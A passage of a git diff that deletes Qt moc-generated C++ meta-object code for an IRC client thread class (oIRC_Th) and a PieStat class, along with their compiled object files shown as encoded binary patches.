"changeRawIRCDataOut\0setNick\0AddNick\0" - "ClearNickList\0IRCOfflined\0notifyPlay\0" - "getTopic" -}; -#undef QT_MOC_LITERAL - -static const uint qt_meta_data_oIRC_Th[] = { - - // content: - 7, // revision - 0, // classname - 0, 0, // classinfo - 13, 14, // methods - 0, 0, // properties - 0, 0, // enums/sets - 0, 0, // constructors - 0, // flags - 13, // signalCount - - // signals: name, argc, parameters, tag, flags - 1, 2, 79, 2, 0x06 /* Public */, - 3, 5, 84, 2, 0x06 /* Public */, - 4, 1, 95, 2, 0x06 /* Public */, - 5, 1, 98, 2, 0x06 /* Public */, - 6, 1, 101, 2, 0x06 /* Public */, - 7, 1, 104, 2, 0x06 /* Public */, - 8, 1, 107, 2, 0x06 /* Public */, - 9, 1, 110, 2, 0x06 /* Public */, - 10, 1, 113, 2, 0x06 /* Public */, - 11, 0, 116, 2, 0x06 /* Public */, - 12, 0, 117, 2, 0x06 /* Public */, - 13, 0, 118, 2, 0x06 /* Public */, - 14, 1, 119, 2, 0x06 /* Public */, - - // signals: parameters - QMetaType::Void, QMetaType::QString, QMetaType::QString, 2, 2, - QMetaType::Void, QMetaType::Bool, QMetaType::Bool, QMetaType::Int, QMetaType::QString, QMetaType::QString, 2, 2, 2, 2, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, QMetaType::QString, 2, - - 0 // eod -}; - -void oIRC_Th::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) -{ - if (_c == QMetaObject::InvokeMetaMethod) { - oIRC_Th *_t = static_cast<oIRC_Th *>(_o); - switch (_id) { - case 0: _t->sUnhidePopup((*reinterpret_cast< QString(*)>(_a[1])),(*reinterpret_cast< QString(*)>(_a[2]))); break; - case 1: _t->changeIRCData((*reinterpret_cast< bool(*)>(_a[1])),(*reinterpret_cast< bool(*)>(_a[2])),(*reinterpret_cast< int(*)>(_a[3])),(*reinterpret_cast< QString(*)>(_a[4])),(*reinterpret_cast< QString(*)>(_a[5]))); break; - case 2: _t->changeRedIRCData((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 3: _t->changeGreenIRCData((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 4: _t->changeYellowIRCData((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 5: _t->changeRawIRCDataInc((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 6: _t->changeRawIRCDataOut((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 7: _t->setNick((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 8: _t->AddNick((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 9: _t->ClearNickList(); break; - case 10: _t->IRCOfflined(); break; - case 11: _t->notifyPlay(); break; - case 12: _t->getTopic((*reinterpret_cast< QString(*)>(_a[1]))); break; - default: ; - } - } else if (_c == QMetaObject::IndexOfMethod) { - int *result = reinterpret_cast<int *>(_a[0]); - void **func = reinterpret_cast<void **>(_a[1]); - { - typedef void (oIRC_Th::*_t)(QString , QString ); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::sUnhidePopup)) { - *result = 0; - } - } - { - typedef void (oIRC_Th::*_t)(bool , bool , int , QString , QString ); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::changeIRCData)) { - *result = 1; - } - } - { - typedef void (oIRC_Th::*_t)(QString ); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::changeRedIRCData)) { - *result = 2; - } - } - { - typedef void (oIRC_Th::*_t)(QString ); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::changeGreenIRCData)) { - *result = 3; - } - } - { - typedef void (oIRC_Th::*_t)(QString ); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::changeYellowIRCData)) { - *result = 4; - } - } - { - typedef void (oIRC_Th::*_t)(QString ); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::changeRawIRCDataInc)) { - *result = 5; - } - } - { - typedef void (oIRC_Th::*_t)(QString ); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::changeRawIRCDataOut)) { - *result = 6; - } - } - { - typedef void (oIRC_Th::*_t)(QString ); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::setNick)) { - *result = 7; - } - } - { - typedef void (oIRC_Th::*_t)(QString ); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::AddNick)) { - *result = 8; - } - } - { - typedef void (oIRC_Th::*_t)(); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::ClearNickList)) { - *result = 9; - } - } - { - typedef void (oIRC_Th::*_t)(); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::IRCOfflined)) { - *result = 10; - } - } - { - typedef void (oIRC_Th::*_t)(); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::notifyPlay)) { - *result = 11; - } - } - { - typedef void (oIRC_Th::*_t)(QString ); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&oIRC_Th::getTopic)) { - *result = 12; - } - } - } -} - -const QMetaObject oIRC_Th::staticMetaObject = { - { &QThread::staticMetaObject, qt_meta_stringdata_oIRC_Th.data, - qt_meta_data_oIRC_Th, qt_static_metacall, 0, 0} -}; - - -const QMetaObject *oIRC_Th::metaObject() const -{ - return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; -} - -void *oIRC_Th::qt_metacast(const char *_clname) -{ - if (!_clname) return 0; - if (!strcmp(_clname, qt_meta_stringdata_oIRC_Th.stringdata)) - return static_cast<void*>(const_cast< oIRC_Th*>(this)); - return QThread::qt_metacast(_clname); -} - -int oIRC_Th::qt_metacall(QMetaObject::Call _c, int _id, void **_a) -{ - _id = QThread::qt_metacall(_c, _id, _a); - if (_id < 0) - return _id; - if (_c == QMetaObject::InvokeMetaMethod) { - if (_id < 13) - qt_static_metacall(this, _c, _id, _a); - _id -= 13; - } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { - if (_id < 13) - *reinterpret_cast<int*>(_a[0]) = -1; - _id -= 13; - } - return _id; -} - -// SIGNAL 0 -void oIRC_Th::sUnhidePopup(QString _t1, QString _t2) -{ - void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)), const_cast<void*>(reinterpret_cast<const void*>(&_t2)) }; - QMetaObject::activate(this, &staticMetaObject, 0, _a); -} - -// SIGNAL 1 -void oIRC_Th::changeIRCData(bool _t1, bool _t2, int _t3, QString _t4, QString _t5) -{ - void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)), const_cast<void*>(reinterpret_cast<const void*>(&_t2)), const_cast<void*>(reinterpret_cast<const void*>(&_t3)), const_cast<void*>(reinterpret_cast<const void*>(&_t4)), const_cast<void*>(reinterpret_cast<const void*>(&_t5)) }; - QMetaObject::activate(this, &staticMetaObject, 1, _a); -} - -// SIGNAL 2 -void oIRC_Th::changeRedIRCData(QString _t1) -{ - void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; - QMetaObject::activate(this, &staticMetaObject, 2, _a); -} - -// SIGNAL 3 -void oIRC_Th::changeGreenIRCData(QString _t1) -{ - void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; - QMetaObject::activate(this, &staticMetaObject, 3, _a); -} - -// SIGNAL 4 -void oIRC_Th::changeYellowIRCData(QString _t1) -{ - void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; - QMetaObject::activate(this, &staticMetaObject, 4, _a); -} - -// SIGNAL 5 -void oIRC_Th::changeRawIRCDataInc(QString _t1) -{ - void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; - QMetaObject::activate(this, &staticMetaObject, 5, _a); -} - -// SIGNAL 6 -void oIRC_Th::changeRawIRCDataOut(QString _t1) -{ - void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; - QMetaObject::activate(this, &staticMetaObject, 6, _a); -} - -// SIGNAL 7 -void oIRC_Th::setNick(QString _t1) -{ - void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; - QMetaObject::activate(this, &staticMetaObject, 7, _a); -} - -// SIGNAL 8 -void oIRC_Th::AddNick(QString _t1) -{ - void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; - QMetaObject::activate(this, &staticMetaObject, 8, _a); -} - -// SIGNAL 9 -void oIRC_Th::ClearNickList() -{ - QMetaObject::activate(this, &staticMetaObject, 9, 0); -} - -// SIGNAL 10 -void oIRC_Th::IRCOfflined() -{ - QMetaObject::activate(this, &staticMetaObject, 10, 0); -} - -// SIGNAL 11 -void oIRC_Th::notifyPlay() -{ - QMetaObject::activate(this, &staticMetaObject, 11, 0); -} - -// SIGNAL 12 -void oIRC_Th::getTopic(QString _t1) -{ - void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; - QMetaObject::activate(this, &staticMetaObject, 12, _a); -} -QT_END_MOC_NAMESPACE diff --git a/moc_oIRC_Th.o b/moc_oIRC_Th.o deleted file mode 100644 index 3d593bd06f91657149aee27d8de1c4facb87c5eb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 17152 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 diff --git a/moc_piestat.cpp b/moc_piestat.cpp deleted file mode 100644 index 5d88358..0000000 --- a/moc_piestat.cpp +++ /dev/null @@ -1,124 +0,0 @@ -/**************************************************************************** -** Meta object code from reading C++ file 'piestat.h' -** -** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) -** -** WARNING! All changes made in this file will be lost! -*****************************************************************************/ - -#include "piestat.h" -#include <QtCore/qbytearray.h> -#include <QtCore/qmetatype.h> -#if !defined(Q_MOC_OUTPUT_REVISION) -#error "The header file 'piestat.h' doesn't include <QObject>." -#elif Q_MOC_OUTPUT_REVISION != 67 -#error "This file was generated using the moc from 5.3.2. It" -#error "cannot be used with the include files from this version of Qt." -#error "(The moc has changed too much.)" -#endif - -QT_BEGIN_MOC_NAMESPACE -struct qt_meta_stringdata_PieStat_t { - QByteArrayData data[3]; - char stringdata[20]; -}; -#define QT_MOC_LITERAL(idx, ofs, len) \ - Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ - qptrdiff(offsetof(qt_meta_stringdata_PieStat_t, stringdata) + ofs \ - - idx * sizeof(QByteArrayData)) \ - ) -static const qt_meta_stringdata_PieStat_t qt_meta_stringdata_PieStat = { - { -QT_MOC_LITERAL(0, 0, 7), -QT_MOC_LITERAL(1, 8, 10), -QT_MOC_LITERAL(2, 19, 0) - }, - "PieStat\0sUpdatePie\0" -}; -#undef QT_MOC_LITERAL - -static const uint qt_meta_data_PieStat[] = { - - // content: - 7, // revision - 0, // classname - 0, 0, // classinfo - 1, 14, // methods - 0, 0, // properties - 0, 0, // enums/sets - 0, 0, // constructors - 0, // flags - 1, // signalCount - - // signals: name, argc, parameters, tag, flags - 1, 0, 19, 2, 0x06 /* Public */, - - // signals: parameters - QMetaType::Void, - - 0 // eod -}; - -void PieStat::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) -{ - if (_c == QMetaObject::InvokeMetaMethod) { - PieStat *_t = static_cast<PieStat *>(_o); - switch (_id) { - case 0: _t->sUpdatePie(); break; - default: ; - } - } else if (_c == QMetaObject::IndexOfMethod) { - int *result = reinterpret_cast<int *>(_a[0]); - void **func = reinterpret_cast<void **>(_a[1]); - { - typedef void (PieStat::*_t)(); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&PieStat::sUpdatePie)) { - *result = 0; - } - } - } - Q_UNUSED(_a); -} - -const QMetaObject PieStat::staticMetaObject = { - { &QThread::staticMetaObject, qt_meta_stringdata_PieStat.data, - qt_meta_data_PieStat, qt_static_metacall, 0, 0} -}; - - -const QMetaObject *PieStat::metaObject() const -{ - return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; -} - -void *PieStat::qt_metacast(const char *_clname) -{ - if (!_clname) return 0; - if (!strcmp(_clname, qt_meta_stringdata_PieStat.stringdata)) - return static_cast<void*>(const_cast< PieStat*>(this)); - return QThread::qt_metacast(_clname); -} - -int PieStat::qt_metacall(QMetaObject::Call _c, int _id, void **_a) -{ - _id = QThread::qt_metacall(_c, _id, _a); - if (_id < 0) - return _id; - if (_c == QMetaObject::InvokeMetaMethod) { - if (_id < 1) - qt_static_metacall(this, _c, _id, _a); - _id -= 1; - } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { - if (_id < 1) - *reinterpret_cast<int*>(_a[0]) = -1; - _id -= 1; - } - return _id; -} - -// SIGNAL 0 -void PieStat::sUpdatePie() -{ - QMetaObject::activate(this, &staticMetaObject, 0, 0); -} -QT_END_MOC_NAMESPACE diff --git a/moc_piestat.o b/moc_piestat.o deleted file mode 100644 index 08f3b483b3b1ab60e5f5ad9e3bcc82246d0d251c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7648 zcmds6U2Ggz6~6YS$&y-|O#&sNl#D}39oj5Aj*~b6Dm(T%6M5@wVy6m8!+5;Aju&jN zyE|*y6;dKCE?v2ij1Uh<edt4wkPs3N@Pv>I21SS>MR`D=^7{gbQi-5Q5mFn<`R<&% zd-r-KRpE^z&7O0=^LKyF+?hLjC6gWL?C21RI>hs$)l#SsxvedEK#BvRTYO5|Zl^YU zx|r`~{!!*n5Le`^UWq&PD?P%0><%#J+GAiFJNAAZoZ5%M>|fcpq<-Z=t!w3$-+zB& zddJ>jA?p9$Uc2wC4#u5pACva0wsS05`-@Xwii_IsZ^&+LOs6)*lhLNv&W$^b`%e9x zxU=%WKhD{l#zUv^=i7+a__@=#y>hFz&8hz)e(}-<nA7-^)A+~5OESccy;ospuiyRS zj=ck7aN<<sy>m|EH{&vFQU+OBU+P+UyS95}ea+urzuiGWk{2%xzO*sDR)4pvc5h|9 zcE?#gCvJ4UPlQ0iY22}I*$=Xfzc+@T?vhbfNx1tnB-6-QmGkA)*ON|To9vOMrTGi= zG|G3`M#iGyU6jVowJ*XRGY}|NgEr4*F#8zv=Fn|<RAZYGn4=C724*&4gA0UO>7)zm z_AFf{VS@A=4jTYR-6`s40l31zRm@zeIPQDCsGeIWcz%(Zfz?r^(4GFD<2$E}`| zW9JT7eX0J`A*(lS_oa{7w$*dCSg;(=5AcIW4`3Q_4}&^hIV(Drk{wTWZHuqb;w1_D zq|^wphdHpcCPM^9x2+_sH3;_Sr6hy}?j(}+&hbQ?MA-Ylh{ggY`|ujeDe%!m^2=o1 zN8+1k6J_x;m`J|bIhfc}kDW|dh3$zw1PmtPgO3lBd{WBU$Adop4)#PIeoiEkuXhe7 z_PiP!PFVFVBZ>5vwkIqKME)ld@gedNsp|5a?@bZ+D*>NTQl&WSrTpTOFH%%no=8nq zt0L7zQ|^T^Rc6DznZ+nox?NTEy^3F3VC&L+$#=a<#akwz9Ha?2g`XH#@!1-Bbbw5u zKJ{qzi_vP4%9rQnit{wI`LbV3QQaJ*j^)3~iHbAsbj6!1iqz#wnL7JFlSQ?)GbG9Y zW2h0(Ub;}5ThJg<Jj!3~8@m5zG`|n>&&e!8=>GPH@K^P&`}ckb|H+X2`@;MQqbZd8 zDZ5Cfmd1usBiwH~JxL8U7dn0$H!Tt77lir8o~_2iYO$X%n8fJP>AI0u>C9ZukpeNJ z{LL_?{}J+q%~m{AH2NVssy#@l%<=1Ms%*gHp9orM1~Gm-f6VcpAuKHaP0nwTUMDj@ z_Azrzu<z&m4m%@1-nY#BvxLd~Y^T^g&M)^*1rj&&UnVRp|5eVv#=gjp=e(K!3ghPb zS-c*~p2IZ#Rr?hZ!ty6km_(}1kRN?l@f5yF7=~&rzZhU(opd@`dV}O|(Ix%O06d_N z81_7^P4oxsA2a-u?63N%9L)Lu9x1}c-^1f~*b(E${%4N=EyB<zGyeeRUm~4Omfj%w z23=wK7dU^82aNo9uQ&7GB~0cguG2c_PwODbmeKwjwZrnS^UKC0+ao{b(#-!a!jRw0 zbC2^MB%Mw?9O(lbM<Ipjc29+M3ii4Y$xpDqvHZef|G43x`me(5Bz;&a>#4wEoeeR5 zOo{SWb%kdq50xzg)+3J%LOf&SH=1%hX5SHE4L3W{O^#!cjFK?(<NgTCKZ#-``i3z$ zGk;*U`4@Iu#6REPtU*3Ji8fQL*}HaKOqh3ZppVHNz1<eAnA~Z@aGn%Rh57H)PC#nE zog%zL%d3w&wrLj@;$>;SOH2|6P0HWkCnk1jtw8)Hu?`KN&@5u|l%)YI#^eqXhU+Kx 